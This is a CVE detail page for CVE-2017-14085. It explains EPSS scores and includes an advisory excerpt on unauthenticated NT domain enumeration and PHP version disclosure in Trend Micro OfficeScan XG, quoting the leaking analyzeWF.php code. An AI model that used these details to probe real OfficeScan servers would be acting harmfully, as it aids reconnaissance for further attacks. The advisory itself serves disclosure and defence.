CVE-2017-14085 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

An integrated solution, OfficeScan consists of the OfficeScan agent program that resides at the endpoint and a server program that manages all agents. The OfficeScan agent guards the endpoint and reports its security status to the server. The server, through the web-based management console, makes it easy to set coordinated security policies and deploy updates to every agent. CVE Reference: ============== CVE-2017-14085 Security Issue(s): ================ ( NT Domain Disclosure ) Remote unauthenticated attackers who reach the TrendMicro OfficeScan XG application can query the networks NT domains. NT enumeration is leaked by the web interface when it should not do so. Usually, you use NET commands so while this NT enumeration is not high in severity, it should not return this information and especially to unauthorized users as it can aid in launching further attacks. ( PHP Information Disclosure ) Remote unauthenticated attackers that can connect to TrendMicro OfficeScan XG application can query the PHP version and modules. In 'analyzeWF.php" we see get_loaded_extensions() and phpversion() calls, but session or authentication check is made. $strAnalyzeResultHeader .= analyzeWFShowItemInfo('Current PHP version: '.phpversion()); $strAnalyzeResultHeader .= analyzeWFShowItemInfo('PHP extensions: '.implode(', ',get_loaded_extensions())); $strAnalyzeResultHeader .= analyzeWFShowItemInfo('WGF version : '.$strVersion); etc...
